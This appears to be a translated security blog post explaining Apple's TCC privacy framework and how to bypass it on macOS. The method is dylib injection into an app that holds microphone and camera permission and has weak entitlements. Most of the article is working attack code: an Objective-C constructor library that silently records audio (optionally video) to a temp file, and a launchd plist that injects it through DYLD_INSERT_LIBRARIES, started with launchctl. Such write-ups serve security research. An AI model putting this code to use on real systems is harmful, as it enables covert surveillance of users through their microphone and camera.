This article was first published on the tttang Community.
What is TCC?
TCC (Transparency, Consent, and Control) is a privacy protection technology introduced by Apple, designed to manage and control the access that applications have to system resources. It is part of the macOS privacy protection mechanism, allowing users to control which applications can access specific sensitive information and system functionalities, such as the camera, microphone, location, contacts, calendar, photos, etc.
Dylib Injection
If the target application is granted access to the microphone and camera permissions, and it uses special entitlements like com.apple.security.cs.allow-dyld-environment-variable
, com.apple.security.cs.disable-library-validation
, it is possible to inject a dylib (dynamic library) to bypass TCC and gain access to the microphone and camera permissions, among others.
Hackit
The target application's signing entitlements:
Recording Sound
Here’s an example of using AVFoundation
to record audio:
#import <AVFoundation/AVFoundation.h>
#import <Foundation/Foundation.h>
#define PATH "/tmp/z.mov"
#define INTERVAL 10
@interface Recorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property(strong, nonatomic) AVCaptureSession *s;
@property(strong, nonatomic) AVCaptureMovieFileOutput *output;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation Recorder
- (instancetype)init {
self = [super init];
if (self) {
self.s = [[AVCaptureSession alloc] init];
self.s.sessionPreset = AVCaptureSessionPresetHigh;
NSError *error;
#ifdef USECAMERA
AVCaptureDeviceInput *input = [AVCaptureDeviceInput
deviceInputWithDevice:[AVCaptureDevice
defaultDeviceWithMediaType:AVMediaTypeVideo]
error:&error];
if (error) {
NSLog(@"Error setting up audio device input: %@",
[error localizedDescription]);
return self;
}
if ([self.s canAddInput:input]) {
[self.s addInput:input];
}
#endif
AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput
deviceInputWithDevice:[AVCaptureDevice
defaultDeviceWithMediaType:AVMediaTypeAudio]
error:&error];
if (error) {
NSLog(@"Error setting up audio device input: %@",
[error localizedDescription]);
return self;
}
if ([self.s canAddInput:audioInput]) {
[self.s addInput:audioInput];
}
// output
self.output = [[AVCaptureMovieFileOutput alloc] init];
if ([self.s canAddOutput:self.output]) {
[self.s addOutput:self.output];
}
}
return self;
}
- (void)startRecording {
[self.s startRunning];
NSString *path = [NSString stringWithFormat:@"%s", PATH];
[self.output startRecordingToOutputFileURL:[NSURL fileURLWithPath:path]
recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.output stopRecording];
[self.s stopRunning];
NSLog(@"Recording stopped");
}
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
#ifdef DEBUG
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
#endif
}
@end
static void __attribute__((constructor)) initialize(void) {
@autoreleasepool {
Recorder *ar = [[Recorder alloc] init];
[ar startRecording];
[NSThread sleepForTimeInterval:INTERVAL];
[ar stopRecording];
[[NSRunLoop currentRunLoop]
runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}
}
Use launch
to load the dylib in the background instead of using the DYLD_INSERT_LIBRARIES
parameter in the command line. The plist file is written as follows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>{{LABEL}}</string>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>{{DYLIB}}</string> <!-- Replace with dylib -->
</dict>
<key>ProgramArguments</key>
<array>
<string>{{APP}}</string> <!-- Replace with app -->
</array>
<key>RunAtLoad</key>
<true />
<key>StandardOutPath</key>
<string>/tmp/zznQ.log</string>
<key>StandardErrorPath</key>
<string>/tmp/zznQ.log</string>
</dict>
</plist>
Run launchctl load test.plist
to start recording in the target app. The demonstration is shown below: